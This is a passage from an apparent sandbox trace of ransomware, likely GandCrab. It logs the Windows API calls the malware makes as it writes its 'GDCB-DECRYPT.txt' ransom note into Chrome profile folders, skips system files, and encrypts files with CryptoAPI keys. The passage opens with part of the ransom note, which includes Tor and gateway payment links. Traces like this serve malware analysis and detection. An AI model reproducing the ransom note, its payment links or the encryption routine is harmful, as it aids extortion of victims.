ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.359] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.359] CloseHandle (hObject=0x510) returned 1 [0171.360] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\GDCB-DECRYPT.txt") returned 253 [0171.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\GDCB-DECRYPT.txt") returned 253 [0171.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\GDCB-DECRYPT.txt") returned 253 [0171.360] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\GDCB-DECRYPT.txt") returned 253 [0171.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.360] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.360] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.378] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\\\GDCB-DECRYPT.txt") returned 264 [0171.378] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.378] GetLastError () returned 0x3 [0171.379] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.379] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.379] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.379] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.379] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\CertificateTransparency\\\\GDCB-DECRYPT.txt") returned 288 [0171.380] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\CertificateTransparency\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\certificatetransparency\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.380] GetLastError () returned 0x3 [0171.380] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.380] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.380] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.380] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.380] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\\\GDCB-DECRYPT.txt") returned 273 [0171.380] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\crashpad\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.380] GetLastError () returned 0x3 [0171.381] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 264 [0171.381] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 264 [0171.381] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.381] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.381] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.381] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.381] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\reports\\\\GDCB-DECRYPT.txt") returned 281 [0171.381] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\reports\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\crashpad\\reports\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.381] GetLastError () returned 0x3 [0171.381] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 268 [0171.381] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 268 [0171.381] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 268 [0171.381] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 268 [0171.381] lstrcmpiW (lpString1="settings.dat", lpString2="desktop.ini") returned 1 [0171.381] lstrcmpiW (lpString1="settings.dat", lpString2="autorun.inf") returned 1 [0171.381] lstrcmpiW (lpString1="settings.dat", lpString2="ntuser.dat") returned 1 [0171.381] lstrcmpiW (lpString1="settings.dat", lpString2="iconcache.db") returned 1 [0171.381] lstrcmpiW (lpString1="settings.dat", lpString2="bootsect.bak") returned 1 [0171.381] lstrcmpiW (lpString1="settings.dat", lpString2="boot.ini") returned 1 [0171.381] lstrcmpiW (lpString1="settings.dat", lpString2="ntuser.dat.log") returned 1 [0171.381] lstrcmpiW (lpString1="settings.dat", lpString2="thumbs.db") returned -1 [0171.381] lstrcmpiW (lpString1="settings.dat", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.381] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\crashpad\\settings.dat")) returned 0xffffffff [0171.381] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat", dwFileAttributes=0xfffffffe) returned 0 [0171.381] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0171.382] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.382] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.382] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0171.382] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.382] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0171.383] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.383] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0171.383] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.383] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0171.386] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6180e8) returned 1 [0171.386] CryptGetKeyParam (in: hKey=0x6180e8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0171.386] CryptEncrypt (in: hKey=0x6180e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2b90000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x2b90000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0171.386] GetLastError () returned 0x0 [0171.386] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0171.386] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0171.389] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x617ea8) returned 1 [0171.389] CryptGetKeyParam (in: hKey=0x617ea8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0171.389] CryptEncrypt (in: hKey=0x617ea8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2ba0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x2ba0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0171.389] GetLastError () returned 0x0 [0171.389] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.389] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\crashpad\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.389] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.404] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\\\GDCB-DECRYPT.txt") returned 272 [0171.404] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.404] GetLastError () returned 0x3 [0171.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.405] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cache\\\\GDCB-DECRYPT.txt") returned 278 [0171.405] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.405] GetLastError () returned 0x3 [0171.405] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cookies") returned 262 [0171.405] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cookies") returned 262 [0171.405] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 270 [0171.405] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 270 [0171.405] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Current Session") returned 270 [0171.405] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Current Session") returned 270 [0171.405] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 267 [0171.405] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 267 [0171.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.405] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.406] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\databases\\\\GDCB-DECRYPT.txt") returned 282 [0171.406] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\databases\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\databases\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.406] GetLastError () returned 0x3 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.406] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\\\GDCB-DECRYPT.txt") returned 301 [0171.406] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.406] GetLastError () returned 0x3 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.406] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.406] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\\\GDCB-DECRYPT.txt") returned 288 [0171.406] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extension Rules\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application 